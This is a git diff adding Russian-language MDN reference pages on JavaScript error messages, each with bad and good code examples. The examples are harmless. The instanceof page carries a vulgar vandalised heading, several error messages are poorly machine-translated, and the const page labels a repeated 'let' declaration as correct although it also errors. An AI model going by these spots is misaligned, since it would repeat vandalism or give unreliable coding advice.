+<p>Идентификатор JavaScript должен начинаться с буквы, символа подчеркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).</p>
+
+<p> </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Имена_переменных_начинающиеся_с_числовых_литералов">Имена переменных, начинающиеся с числовых литералов</h3>
+
+<p>Имена переменных не могут начинаться с чисел в JavaScript. Следующие сбои:</p>
+
+<pre class="brush: js example-bad">var 1life = 'foo';
+// SyntaxError:  идентификатор начинается сразу после числового литерала
+
+var foo = 1life;
+// SyntaxError:  идентификатор начинается сразу после числового литерала
+
+alert(1.foo);
+// SyntaxError:  идентификатор начинается сразу после числового литерала
+</pre>
+
+<p>Вы можете переназвать вашу перемменную чтобы избежать ведущего числа.</p>
+
+<pre class="brush: js example-good">var life1 = 'foo';
+var foo = life1;
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variables">Variables</a> in the <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/illegal_character/index.html b/files/ru/web/javascript/reference/errors/illegal_character/index.html
new file mode 100644
index 0000000000..84a67e254f
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/illegal_character/index.html
@@ -0,0 +1,70 @@
+---
+title: 'SyntaxError: illegal character'
+slug: Web/JavaScript/Reference/Errors/Illegal_character
+translation_of: Web/JavaScript/Reference/Errors/Illegal_character
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: illegal character (Firefox)
+SyntaxError: Invalid or unexpected token (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Присутсвует недопустимый или неожиданный знак, который не принадлежит данной позиции в коде. Используйте редактор, поддерживающий подсветку синтаксиса, и внимательно проверьте ваш код на предмет таких несовпадений, как знак минус (<code> - </code>) вместо тире  (<code> – </code>) или простые кавычки (<code> " </code>) вместо нестандратных знаков цитирования (<code> “ </code>).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Несоответсвующие_символы">Несоответсвующие символы</h3>
+
+<p>Некоторые символы выглядят одинаково, но становтся причиной того, что анализатор не выполняет итерпретацию вашего кода.</p>
+
+<pre class="brush: js example-bad">“This looks like a string”;
+// SyntaxError: illegal character
+
+42 – 13;
+// SyntaxError: illegal character
+</pre>
+
+<p>Так должно работать:</p>
+
+<pre class="brush: js example-good">"This is actually a string";
+
+42 - 13;
+</pre>
+
+<h3 id="Пропущенные_символы">Пропущенные символы</h3>
+
+<p>Это просто <span class="st">—</span> пропустить символ здесь или там.</p>
+
+<pre class="brush: js example-bad">var colors = ['#000', #333', '#666'];
+// SyntaxError: illegal character
+</pre>
+
+<p>Добавляем пропущенную кавычку для <code><strong>'</strong>#333'</code> .</p>
+
+<pre class="brush: js example-good">var colors = ['#000', '#333', '#666'];</pre>
+
+<h3 id="Скрытые_символы">Скрытые символы</h3>
+
+<p>Подчас копирования кода из внешнего источника могут встречаться недействительные символы. Будьте внимательны!</p>
+
+<pre class="brush: js example-bad">var foo = 'bar';​
+// SyntaxError: illegal character
+</pre>
+
+<p>Если проверить этот код в редакторе вроде Vim, вы можете увидеть, что в коде присутсвтует символ, именуемый <a href="https://en.wikipedia.org/wiki/Zero-width_space">нулевой пробел (zero-width space (ZWSP) (U+200B))</a>.</p>
+
+<pre class="brush: js">var foo = 'bar';​&lt;200b&gt;</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html
new file mode 100644
index 0000000000..a61a8d5f41
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html
@@ -0,0 +1,71 @@
+---
+title: >-
+  TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удается
+  использовать 'in' оператор поиска для 'x' в 'y')
+slug: Web/JavaScript/Reference/Errors/in_operator_no_object
+translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщения">Сообщения</h2>
+
+<pre class="syntaxbox">TypeError: недопустимый операнд в "in" (edge)
+TypeError: правая часть 'in' должна быть объектом, есть 'x' (Firefox)
+TypeError: невозможно использовать оператор 'in' для поиска 'x' в 'y' (Firefox, Chrome)
+
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Оператор in можно использовать только для проверки наличия свойства в объекте. Вы не можете искать в строках, числах или других примитивных типах.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Поиск_в_строках">Поиск в строках</h3>
+
+<p>В отличие от других языков программирования (например, Python), поиск в строках с помощью оператора in невозможен.</p>
+
+<pre class="brush: js example-bad">"Hello" in "Hello World";
+// TypeError: cannot use 'in' operator to search for 'Hello' in 'Hello World'</pre>
+
+<p>Вместо этого вам нужно будет использовать{{jsxref("String.prototype.indexOf()")}}или примеры</p>
+
+<pre class="brush: js example-good">"Hello World".indexOf("Hello") !== -1;
+// true</pre>
+
+<h3 id="Операнд_не_может_бытьnull_или_undefined">Операнд не может быть<code>null</code> или <code>undefined</code></h3>
+
+<p>Убедитесь, что объект, который вы осматриваете, на самом деле не {{jsxref("null")}} или {{jsxref("undefined")}}.</p>
+
+<pre class="brush: js example-bad">var foo = null;
+"bar" in foo;
+// TypeError: не удается использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome)
+// TypeError: правая часть 'in' должна быть объектом, полученным null (Firefox)
+</pre>
+
+<p>Оператор in всегда ожидает объект.</p>
+
+<pre class="brush: js example-good">var foo = { baz: "bar" };
+"bar" in foo; // false
+
+"PI" in Math; // true
+"pi" in Math; // false
+</pre>
+
+<h3 id="Поиск_в_Массивах">Поиск в Массивах</h3>
+
+<p>Будьте осторожны при использовании оператора для поиска {{jsxref("Array")}} объекты. the <code>in</code> оператор проверяет номер индекса, а не его значение.</p>
+
+<pre class="brush: js">var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+3 in trees; // true
+"oak" in trees; // false</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> operator</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/index.html b/files/ru/web/javascript/reference/errors/index.html
new file mode 100644
index 0000000000..08f8f1c808
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/index.html
@@ -0,0 +1,25 @@
+---
+title: JavaScript ссылки на ошибки
+slug: Web/JavaScript/Reference/Errors
+tags:
+  - JavaScript
+  - NeedsTranslation
+translation_of: Web/JavaScript/Reference/Errors
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<p>Ниже, Вы найдете список ошибок, которые возвращает JavaScript. Эти ошибки могут буть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже  предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (<code>name)</code> и сообщение (<code>message)</code>.</p>
+
+<p>Ошибки отображенные в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.</p>
+
+<h2 id="Список_ошибок">Список ошибок</h2>
+
+<p>В представленном списке, каждая страница проименована (тип ошибки) и сообщение (более подробное удобочитаемое сообщение об ошибке). Вместе, эти два свойства послужат отправной точкой к пониманию и устранению ошибки. Для большей информации, перейдите по ссылкам ниже!</p>
+
+<p>{{ListSubPages("/ru/docs/Web/JavaScript/Reference/Errors")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>: Вводный Учебник для начинающих для исправления ошибок JavaScript.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/invalid_array_length/index.html b/files/ru/web/javascript/reference/errors/invalid_array_length/index.html
new file mode 100644
index 0000000000..317a3c4fb0
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/invalid_array_length/index.html
@@ -0,0 +1,76 @@
+---
+title: 'RangeError: invalid array length'
+slug: Web/JavaScript/Reference/Errors/Invalid_array_length
+tags:
+  - JavaScript
+  - Диапазон
+  - Массив
+  - Ошибка
+  - Размер массива
+translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Ошибка, связанная с размером массива может произойти в следующих случаях:</p>
+
+<ul>
+ <li>При создании {{jsxref("Array")}} или {{jsxref("ArrayBuffer")}}, размер оказался либо отрицательным, либо равным или привышающим 2<sup>32</sup>, или</li>
+ <li>при установке свойства {{jsxref("Array.length")}} значение оказалось либо отрицательным, либо равным или привышающим 2<sup>32</sup>.</li>
+</ul>
+
+<p>Поскольку свойство <code>length</code> в  <code>Array</code> или <code>ArrayBuffer</code> представлено в виде беззнакового 32-битного целого числа (integer), значение этого свойства находится в диапазоне от 0 до 2<sup>32</sup>-1.</p>
+
+<p>В конструкторе (<code>new Array()</code>) первым аргументом является длина массива, поэтому при создании можно задать нужное значение. Так же, можно задать размер массива, обратившись к свойству <code>length</code> напрямую.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js example-bad">new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1;         // установка длинны -1
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1;         // установка длинны 2^32
+</pre>
+
+<h3 id="sect1"> </h3>
+
+<pre class="brush: js example-good">[ Math.pow(2, 40) ]                     // [ 1099511627776 ]
+[ -1 ]                                  // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff является шестнадцатеричным представлением
+// 2^32 - 1, которое также можно записать в виде (-1 &gt;&gt;&gt; 0)</pre>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html b/files/ru/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html
new file mode 100644
index 0000000000..3ce5c4ac6b
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html
@@ -0,0 +1,54 @@
+---
+title: 'ReferenceError: invalid assignment left-hand side'
+slug: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+tags:
+  - JavaScript
+  - ReferenceError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">ReferenceError: invalid assignment left-hand side
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Найдено неожиданное присваивание. <span id="result_box" lang="ru"><span>Это может быть связано, например, с несоответствием <a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">оператора присваивания</a> и <a href="/ru/docs/Web/JavaScript/Reference/Operators/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B_%D1%81%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F">оператора сравнения</a>: один знак «<code>=</code>» присваивает значение переменной, а операторы «<code>==</code>» или «<code>===</code>» осуществляют сравнение.</span></span></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js example-bad">if (Math.PI = 3 || Math.PI = 4) {
+  console.log('исключено!');
+}
+// ReferenceError: invalid assignment left-hand side
+
+var str = 'Привет, '
++= 'не меня ли '
++= 'ты ищешь?';
+// ReferenceError: invalid assignment left-hand side
+</pre>
+
+<p><span id="result_box" lang="ru"><span>В выражении <code>if</code> вам нужно использовать оператор сравнения («==»), а для конкатенации строк необходим оператор плюс («+»).</span></span></p>
+
+<pre class="brush: js example-good">if (Math.PI == 3 || Math.PI == 4) {
+  console.log('исключено!');
+}
+
+var str = 'Привет '
++ 'с другой '
++ 'стороны!';
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators" title="Операторы присваивания">Операторы присваивания</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B_%D1%81%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F" title="Операторы сравнения">Операторы сравнения</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html
new file mode 100644
index 0000000000..eaf8b0b185
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html
@@ -0,0 +1,87 @@
+---
+title: 'TypeError: invalid assignment to const "x"(недопустимое назначение const "x")'
+slug: Web/JavaScript/Reference/Errors/Invalid_const_assignment
+translation_of: Web/JavaScript/Reference/Errors/Invalid_const_assignment
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: недопустимое назначение const "x" (Firefox)
+TypeError: присвоение переменной константы. (Хромированный)
+TypeError: присвоение const (Edge)
+TypeError: повторное объявление const 'x' (IE)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменен путем повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Недопустимое_повторное_объявление">Недопустимое повторное объявление</h3>
+
+<p>Assigning a value to the same constant name in the same block-scope will throw.</p>
+
+<pre class="brush: js example-bad">const COLUMNS = 80;
+
+// ...
+
+COLUMNS = 120; // TypeError: invalid assignment to const `COLUMNS'</pre>
+
+<h3 id="Решение_проблемы">Решение проблемы</h3>
+
+<p>Есть несколько вариантов, чтобы исправить эту ошибку. Проверьте, что должно было быть достигнуто с рассматриваемой константой.</p>
+
+<h4 id="Переназавите">Переназавите</h4>
+
+<p>Если вы хотели объявить другую константу, выберите другое имя и переименовать. Это имя константы уже используется в этой области.</p>
+
+<pre class="brush: js example-good">const COLUMNS = 80;
+const WIDE_COLUMNS = 120;</pre>
+
+<h4 id="const_let_или_var"><code>const</code>, <code>let</code> или <code>var</code>?</h4>
+
+<p>Не используйте const, если вы не хотели объявлять константу. Возможно, вы хотели объявить переменную в области блока с let или глобальную переменную с var.</p>
+
+<pre class="brush: js example-good">let columns = 80;
+
+// ...
+
+let columns = 120;
+</pre>
+
+<h4 id="Обзор">Обзор</h4>
+
+<p>Проверить, если вы находитесь в правильной области. Должна ли эта константа появиться в этой области или она должна была появиться в функции, например?</p>
+
+<pre class="brush: js example-good">const COLUMNS = 80;
+
+function setupBigScreenEnvironment() {
+  const COLUMNS = 120;
+}</pre>
+
+<h3 id="const_и_неизменность"><code>const</code> и неизменность</h3>
+
+<p>Объявление const создает ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все еще может быть изменен. Это означает, что нельзя изменить значение, хранящееся в переменной:</p>
+
+<pre class="brush: js example-bad">const obj = {foo: 'bar'};
+obj = {foo: 'baz'}; // TypeError: invalid assignment to const `obj'
+</pre>
+
+<p>Но можно изменить свойства в переменной:</p>
+
+<pre class="brush: js example-good">obj.foo = 'baz';
+obj; // Object { foo: "baz" }</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/invalid_date/index.html b/files/ru/web/javascript/reference/errors/invalid_date/index.html
new file mode 100644
index 0000000000..89a108c475
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/invalid_date/index.html
@@ -0,0 +1,54 @@
+---
+title: 'RangeError: invalid date'
+slug: Web/JavaScript/Reference/Errors/Invalid_date
+tags:
+  - Errors
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_date
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">RangeError: invalid date (Firefox)
+RangeError: invalid time value (Chrome)
+RangeError: Provided date is not in valid range (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p><span id="result_box" lang="ru"><span>Строка, ведущая к недопустимой дате, была выведена</span></span> {{jsxref("Date")}} или {{jsxref("Date.parse()")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неверные_записи">Неверные записи</h3>
+
+<p>Неопознанные строки или даты, содержащие недопустимые значения элементов в строках, отформатированных ISO, обычно возвращают <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="Глобальное свойство NaN является значением, представляющим не-число (Not-A-Number)."><code>NaN</code></a>. Тем не менее, в зависимости от реализации, при несоответствии строкам формата ISO, может также возникнуть ошибка <code>RangeError: invalid date</code>, например в следующих случаях, в Firefox.</p>
+
+<pre class="brush: js example-bad">new Date('foo-bar 2014');
+new Date('2014-25-23').toISOString();
+new Date('foo-bar 2014').toString();
+</pre>
+
+<p>Это, без сомнения, вернёт {{jsxref("NaN")}} в Firefox:</p>
+
+<pre class="brush: js example-bad">Date.parse('foo-bar 2014'); // NaN</pre>
+
+<p>Для получения более подробной информации, смотрите документацию по {{jsxref("Date.parse()")}}</p>
+
+<h3 id="Верная_запись">Верная запись</h3>
+
+<pre class="brush: js example-good">new Date('05 October 2011 14:48 UTC');</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date")}}</li>
+ <li>{{jsxref("Date.prototype.parse()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
new file mode 100644
index 0000000000..4538cd6b0b
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
@@ -0,0 +1,73 @@
+---
+title: >-
+  SyntaxError: for-in loop head declarations may not have
+  initializers(SyntaxError: объявления for-in loop head могут не иметь
+  инициализаторов)
+slug: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer
+translation_of: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: объявления for-in loop head не могут иметь инициализатора (Edge)
+SyntaxError: объявления for-in loop head могут не иметь инициализаторов (Firefox)
+SyntaxError: объявление переменной цикла for-in может не иметь инициализатора. (Chrome)
+
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}} только в строгом режиме.</p>
+
+<h2 id="Что_пошло_нетак">Что пошло нетак?</h2>
+
+<p>Глава цикла <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> содержит выражение инициализатора. То есть переменная объявляется и присваивается значение <code>|for (var i = 0 in obj)|</code>. В нестрогом режиме это объявление head игнорируется и ведет себя как <code>|for (var i in obj)|</code>. Однако в строгом режиме создается синтаксическая ошибка.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Данный пример дает SyntaxError:</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i = 0 in obj) {
+  console.log(obj[i]);
+}
+
+ SyntaxError: объявления for-in loop head могут не иметь инициализаторов
+</pre>
+
+<h3 id="Правильный_for-in_loop">Правильный for-in loop</h3>
+
+<p>Можно удалить инициализатор (i = 0) в начале цикла for-in.</p>
+
+<pre class="brush: js example-good">"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i in obj) {
+  console.log(obj[i]);
+}
+</pre>
+
+<h3 id="Итерация_массива">Итерация массива</h3>
+
+<p>Цикл for...in не должен использоваться для итерации массива. Вы намеревались использовать цикл for вместо цикла for-in для итерации {{jsxref("Array")}}? Цикл for позволяет также установить инициализатор:</p>
+
+<pre class="brush: js example-good">var arr = [ "a", "b", "c" ]
+
+for (var i = 2; i &lt; arr.length; i++) {
+  console.log(arr[i]);
+}
+
+// "c"</pre>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> – также запрещает инициализатор как в строгом, так и в нестрогом режиме.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> –  предпочтительно для итерации массива, позволяет определить инициализатор.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/invalid_for-of_initializer/index.html b/files/ru/web/javascript/reference/errors/invalid_for-of_initializer/index.html
new file mode 100644
index 0000000000..fd3b630239
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/invalid_for-of_initializer/index.html
@@ -0,0 +1,63 @@
+---
+title: >-
+  SyntaxError: a declaration in the head of a for-of loop can't have an
+  initializer
+slug: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer
+tags:
+  - Error
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: a declaration in the head of a for-of loop can't have an initializer (Firefox)
+
+SyntaxError: for-of loop variable declaration may not have an initializer. (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_случилось">Что случилось?</h2>
+
+<p>В заголовке цикла<a href="/ru/docs/Web/JavaScript/Reference/Statements/for...of"> for...of</a> инициализируется переменная.  Иными словами, переменная объявляется и получает значение|<code>for (var i = 0 of iterable)</code>|. В подобных циклах это не допускается. Инициализировать переменные можно в циклах <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильный_цикл_for-of">Неправильный цикл <code>for-of</code></h3>
+
+<pre class="brush: js example-bad">let iterable = [10, 20, 30];
+
+for (let value = 50 of iterable) {
+  console.log(value);
+}
+
+// SyntaxError: a declaration in the head of a for-of loop can't
+// have an initializer</pre>
+
+<h3 id="Правильный_цикл_for-of">Правильный цикл <code>for-of</code></h3>
+
+<p>Надо убрать инициализацию (<code>value = 50</code>) в заголовке цикла <code>for-of</code>. Если требуется использовать смещение 50, это можно сделать в теле цикла.</p>
+
+<pre class="brush: js example-good">let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+  value += 50;
+  console.log(value);
+}
+// 60
+// 70
+// 80
+</pre>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> – В строгом режиме инициализация тоже не разрешается (<a href="/ru/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer">SyntaxError: for-in loop head declarations may not have initializers</a>)</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> – Инициализация во время итерации разрешена.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/invalid_right_hand_side_instanceof_operand/index.html b/files/ru/web/javascript/reference/errors/invalid_right_hand_side_instanceof_operand/index.html
new file mode 100644
index 0000000000..b158098787
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/invalid_right_hand_side_instanceof_operand/index.html
@@ -0,0 +1,61 @@
+---
+title: >-
+  TypeError: invalid 'instanceof' operand 'x'(Тип ошибки:  неверный
+  'экземпляром' операнд 'х')
+slug: Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand
+translation_of: Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: недопустимый операнд "instanceof" "x" (Firefox)
+TypeError: "x" не является функцией (Firefox)
+TypeError: правая часть "instanceof" не является объектом (Chrome)
+TypeError: правая часть "instanceof" не вызывается (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_не_так">Что не так?</h2>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof"><code>instanceof</code> operator</a> ожидает, что операнды правой стороны будут объектом конструктора, т. е. объектом, который имеет свойство прототипа и является вызываемым.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js example-bad">"test" instanceof ""; // TypeError: invalid 'instanceof' operand ""
+42 instanceof 0;      // TypeError: invalid 'instanceof' operand 0
+
+function Foo() {}
+var f = Foo();        // Foo() is called and returns undefined
+var x = new Foo();
+
+x instanceof f;       // TypeError: invalid 'instanceof' operand f
+x instanceof x;       // TypeError: x is not a function
+</pre>
+
+<p>Чтобы исправить эти ошибки, необходимо либо заменить оператор <code>instanceof </code>оператором <code>typeof</code>, либо убедиться, что вместо результата его вычисления используется имя функции.</p>
+
+<pre class="brush: js example-good">typeof "test" == "string"; // true
+typeof 42 == "number"      // true
+
+function Foo() {}
+var f = Foo;               // Do not call Foo.
+var x = new Foo();
+
+x instanceof f;            // true
+x instanceof Foo;          // true
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof"><code>instanceof</code> operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof"><code>typeof</code> operator</a></li>
+</ul>
+
+<h2 id="Админ_дрочит_на_постер_ОБАМКИ_и_это_случайный_аргумент!">Админ дрочит на постер ОБАМКИ и это случайный аргумент!</h2>
+
+<p> </p>
diff --git a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
new file mode 100644
index 0000000000..c084aac4e3
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
@@ -0,0 +1,100 @@
+---
+title: 'TypeError: ''x'' is not iterable (Тип ошибки  ''x'' не является итерационным)'
+slug: Web/JavaScript/Reference/Errors/is_not_iterable
+translation_of: Web/JavaScript/Reference/Errors/is_not_iterable
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: "x" не является итерационным (Firefox, Chrome)
+TypeError: 'x' не является функцией или ее возвращаемое значение не является итерационным (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
